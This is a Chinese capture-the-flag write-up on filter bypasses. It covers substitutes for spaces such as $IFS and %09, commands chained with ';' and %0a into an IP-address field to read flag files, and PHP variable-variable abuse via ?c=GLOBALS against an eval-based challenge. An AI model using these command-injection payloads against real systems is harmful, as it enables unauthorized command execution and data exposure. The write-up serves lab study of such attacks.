过滤绕过
1.过滤空格
题目提示过滤了空格,引入绕过空格过滤的字符:
<
<>
%20 (space)
%09 (tab)
$IFS$9
${IFS}
$IFS
这里就用<
来绕过,绕过后flag显示在源码中
2.过滤目录分隔符
题目提示,这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗。
可以使用;
和cd
到目录然后使用cat抓取,也就是用;
进行命令拼接。例如:x.x.x.x;cd ../;ls;cat xxx
这里先ls
查看一下文件,看到flag_is_here
那就是要进入这个文件夹才能拿到flag。拼接命令: 127.0.0.1;cd flag_is_here;ls
看到flag文件,继续拼接命令拿到flag:127.0.0.1;cd flag_is_here;cat flag_8995807313759.php
界面源码拿到flag。
3.过滤运算符
直接打开题目,看到源码/(\||\&)/
等字符进行了过滤。过滤运算符可以用:%0a、%0d、%0D、%0A绕过。
开始进行ls测试吧,结果ls就出来了,那这里的过滤就没意义了,直接cat 就出来结果了。
4.变量名绕过(超全局变量)
在 PHP 中,$$
表示 变量变量(Variable Variables),这是一种特殊的变量处理方式,允许你动态地使用一个变量的值作为另一个变量的名称。以下是详细解释:
(1)关于$$
$$a
的含义: 假设$a
的值是字符串"b"
,那么$$a
实际上等同于$b
(即访问变量$b
)。示例:
php$a = "username"; $$a = "admin"; // 等价于 $username = "admin"; echo $username; // 输出 "admin"
(2)在题目中的用法
假设 CTF 代码中:
<?php
/*
PolarD&N CTF
*/
highlight_file(__file__);
error_reporting(0);
include "flag.php";
$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}
else{
eval("var_dump($$a);");}}
如果用户传入
?c=flag
,则:php$a = $_GET['c']; // $a = "flag" $$a = $flag; // 动态访问变量 $flag var_dump($$a); // 输出 $flag 的值
(3)多层变量变量
可以嵌套使用,例如 $$$a
:
$a = "b";
$b = "c";
$c = "Hello";
echo $$$a; // 输出 "Hello" (解析顺序:$$$a → $$b → $c → "Hello")
(4)实际应用场景
动态变量名:
php$type = "user"; ${$type . "_id"} = 123; // 等价于 $user_id = 123;
遍历一组变量:
php$vars = ["name", "age", "email"]; foreach ($vars as $var) { echo $$var; // 依次输出 $name, $age, $email 的值 }
(5)安全风险
变量注入:如果用户可控
$a
(如$_GET['c']
),攻击者可能通过构造输入访问任意变量(如$GLOBALS
),导致数据泄露或代码执行。php// 危险示例:用户传入 ?c=GLOBALS $$a = $GLOBALS; // 泄露所有全局变量
防御措施:
- 严格过滤用户输入(如题目中的正则过滤)。
- 避免直接使用用户输入作为变量名。
(6)与 JavaScript 的区别
PHP 的
$$
是语言特性,而 JavaScript 中类似功能需通过window[variableName]
实现:javascriptlet a = "b"; window[a] = "test"; // 等价于 let b = "test";
(7)总结
$$
是 PHP 的动态变量特性,用变量的值作为另一个变量的名称。在 CTF 中常用于绕过过滤访问敏感变量(如 $flag
),但在实际开发中需谨慎使用以避免安全漏洞。
(8)题目复现
题目:[$$]
- 题目来源:Polarctf-web-[$$]
- 解题:
代码审计
<?php
/*
PolarD&N CTF
*/
highlight_file(__file__);
error_reporting(0);
include "flag.php";
$a=$_GET['c']; # get传参c并赋值给a
if(isset($_GET['c'])){ # 如果传参了c,进行匹配
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){ # 过滤了大部分的字符,不允许$a含有
die("oh on!!!");}
else{
eval("var_dump($$a);");}}
使用GLOBALS超全局变量
?c=GLOBALS
这会显示所有全局变量,包括$flag